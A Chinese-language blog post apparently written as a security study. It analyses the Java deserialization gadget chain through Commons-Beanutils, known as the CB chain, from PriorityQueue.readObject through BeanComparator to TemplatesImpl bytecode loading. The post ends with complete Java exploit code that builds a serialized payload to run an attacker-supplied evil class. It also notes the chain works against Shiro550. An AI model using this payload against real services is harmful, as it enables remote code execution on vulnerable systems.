Java反序列化Commons-Beanutils篇-CB链

发布时间 2023-07-30 22:51:36作者: 1vxyz

<1> 环境介绍

jdk:jdk8u65
CB:commons-beanutils 1.8.3
pom.xml 添加

<dependency>
      <groupId>commons-beanutils</groupId>
      <artifactId>commons-beanutils</artifactId>
      <version>1.8.3</version>
    </dependency>
    <dependency>
      <groupId>commons-logging</groupId>
      <artifactId>commons-logging</artifactId>
      <version>1.2</version>
    </dependency>

<2> 什么是CommonsBeanutils和JavaBean?

CommonsBeanutils 是应用于 javabean 的工具,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法

那 什么是JavaBean呢?

JavaBean 是一种JAVA语言写成的可重用组件,它是一个类

所谓javaBean,是指符合如下标准的Java类:

  • 类是公共的
  • 有一个无参的公共的构造器
  • 有私有属性,且须有对应的get、set方法去设置属性
  • 对于boolean类型的成员变量,允许使用"is"代替上面的"get"和"set"

在java中,有很多类定义都符合这样的规范

比如这样一个类

public class Person {
	private String name; // 属性一般定义为private
	public Person(String name) {
        this.name = name;
	}
	public String getName() {  //读方法
		return name;
	}
	
	public void setName(String n) {  //写方法
		name = n;
	}
}

它包含了一个私有属性name,以及读取和设置这个属性的两个public方法 getName()和setName(),即getter和setter

这种 class 就是 JavaBean

用于对属性赋值的方法称为属性修改器或setter方法,用于读取属性值的方法称为属性访问器或getter方法

只有getter的属性称为只读属性(read-only),例如,定义一个age只读属性:

  • 对应的读方法是int getAge()
  • 无对应的写方法setAge(int)

类似的,只有setter的属性称为只写属性(write-only)

注:属性只需要定义getter和setter方法,不一定需要对应的字段,例如,child只读属性定义如下:

public class Person {
    private String name;
    private int age;

    public String getName() { return this.name; }
    public void setName(String name) { this.name = name; }

    public int getAge() { return this.age; }
    public void setAge(int age) { this.age = age; }

    public boolean isChild() {
        return age <= 6;
    }
}

<3> CommonsBeanutils利用点

commons-beanutils中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean的getter方法

PropertyUtils.getProperty()传入两个参数,第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性

比如:

Person person = new Person("Mike");
PropertyUtils.getProperty(person,"name");
# 等价于
Person person = new Person("Mike");
person.getName();

除此之外, PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象
中有属性c,我们可以通过 PropertyUtils.getProperty(a, "b.c"); 的方式进行递归获取。通过这个
方法,使用者可以很方便地调用任意对象的getter

因此,如果getter方法存在可以rce的点可以利用的话,就存在安全问题了。

commons-beanutils里还有很多其他的辅助方法,setter等等,这里分析CB链暂时用不到 不再叙述

<4> 利用链分析

在前面的CC链中,我们提到过一种利用 TemplatesImpl 动态加载恶意类来实现rce

它的链子为:

/*
TemplatesImpl#getOutputProperties()
    TemplatesImpl#newTransformer()
        TemplatesImpl#getTransletInstance()
            TemplatesImpl#defineTransletClasses()
                TransletClassLoader#defineClass()
*/

重点看:TemplatesImpl#getOutputProperties()

getOutputProperties()方法即其 _outputProperties 属性的 getter 方法是加载恶意字节码的起点,我们可以利用 前面提到的,commons-beanutils里的PropertyUtils.getProperty()去调用getter

那么往上找链子,CB链里 哪个位置调用了getProperty呢?

在之前的CC2/4的链中我们用到了java.util.PriorityQueue的readObject触发反序列化,主要是通过调用了其TransformingComparator的compare方法,进而调用了transform链的调用

而 CommonsBeanutils 利用链中核心的触发位置就是 BeanComparator.compare() 函数,当调用 BeanComparator.compare() 函数时,其内部会调用我们前面说的 getProperty 函数,进而调用 JavaBean 中对应属性的 getter 函数

这里会调用PropertyUtils.getProperty()方法 因此通过给 o1赋值构造好的templates对象,property赋值为TemplatesImpl的 outputProperties属性,即可调用 TemplatesImpl.getOutputProperties() 往下就是TemplatesImpl的利用链

那么往上找 哪里调用 compare()呢 可以利用CC2/4链中用的 PriorityQueue.readObject()

因此整体的CB链就是

PriorityQueue.readObject()
  -> BeanComparator.compare()
    -> PropertyUtils.getProperty()
      -> TemplatesImpl.getOutputProperties()
        -> TemplatesImpl#newTransformer()
          -> ................
            -> TransletClassLoader.defineClass() 
              -> Evil.newInstance()

前面的CC2文章提到了,queue的size应该>2。 而add()也会执行compare由于在BeanComparator#compare() 中,如果 this.property 为空,则直接比较这两个对象。这里实际上就是对1、2进行排序。

BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);

初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。然后,我们
再用反射将 property 的值设置成恶意的 outputProperties ,将add进队列里的1、2替换成恶意的
TemplateImpl 对象

setFieldValue(comparator,"property","outputProperties");

与CC2/4 略微不同的是,还需要用反射去修改 queue属性的值,因为要控制 BeanComparator.compare()的参数为恶意templates对象

setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数

EXP如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "1vxyz");
        byte[] code = Files.readAllBytes(Paths.get("evil.class路径"));
        byte[][] codes = {code};
        setFieldValue(templates, "_bytecodes", codes);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(2);

        setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数
        setFieldValue(comparator,"property","outputProperties");
        serialize(queue);
        unserialize("CB-bin/CB1.bin");
    }

    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
            Class clazz=object.getClass();
            Field declaredField=clazz.getDeclaredField(field_name);
            declaredField.setAccessible(true);
            declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB-bin/CB1.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

shiro550中自带CommonsBeanutils 1.8.2 和 commons-collections-3.2.1的依赖,可以利用此条链进行攻击